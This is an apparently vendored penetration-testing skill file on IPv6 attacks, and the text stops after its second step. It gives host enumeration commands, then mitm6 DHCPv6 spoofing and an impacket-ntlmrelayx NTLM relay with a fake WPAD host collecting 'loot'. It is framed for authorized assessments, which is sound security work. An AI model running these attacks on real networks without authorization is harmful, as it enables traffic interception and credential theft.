exploiting-ipv6-vulnerabilities

name	exploiting-ipv6-vulnerabilities
description	Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls and IPv6-aware network defenses.
domain	cybersecurity
subdomain	network-security
tags	["network-security","ipv6","slaac","router-advertisement","dual-stack-security"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"]
mitre_attack	["T1046","T1040","T1557","T1071"]
source	https://github.com/mukul975/Anthropic-Cybersecurity-Skills
source_commit	04450304b12645cb2b974ab96d28c0664758a88d
note	Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics/threat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.

Exploiting IPv6 Vulnerabilities

When to Use

• Testing whether dual-stack networks have consistent security controls for both IPv4 and IPv6 traffic
• Demonstrating risks from unmanaged IPv6 on networks where only IPv4 is officially supported
• Exploiting SLAAC and Router Advertisement mechanisms to perform man-in-the-middle attacks via IPv6
• Testing IPv6-aware firewall rules and IDS/IPS detection for IPv6-specific attack patterns
• Identifying IPv6 tunneling protocols (6to4, Teredo, ISATAP) that bypass IPv4-only security controls

Do not use on production networks without written authorization, against systems where IPv6 disruption could cause safety issues, or for denial-of-service attacks against network infrastructure.

Prerequisites

• Written authorization specifying IPv6 testing scope and approved techniques
• Kali Linux with THC-IPv6 toolkit, Scapy, and mitm6 installed
• Network interface with IPv6 support on the target network segment
• Understanding of IPv6 addressing, SLAAC, NDP, and Router Advertisements
• Wireshark for capturing and analyzing IPv6 traffic

Workflow

Step 1: Enumerate IPv6 on the Network

# Check if IPv6 is enabled on the local interface
ip -6 addr show

# Discover IPv6 hosts on the local link using multicast
ping6 -c 3 ff02::1%eth0
# ff02::1 = all-nodes multicast address

# Use alive6 from THC-IPv6 toolkit to discover hosts
sudo alive6 eth0

# Scan for IPv6-enabled hosts with Nmap
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0

# Check for Router Advertisements on the network
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = Router Advertisement

# Use radvdump to capture existing RAs
sudo radvdump

# Check for DHCPv6 servers
sudo dhclient -6 -v eth0 --request-only

Step 2: Perform SLAAC-Based MITM Attack with mitm6

# mitm6 exploits the default behavior of Windows machines to request
# IPv6 configuration via DHCPv6 when a Router Advertisement is seen


 mitm6 -d example.com -i eth0








 impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot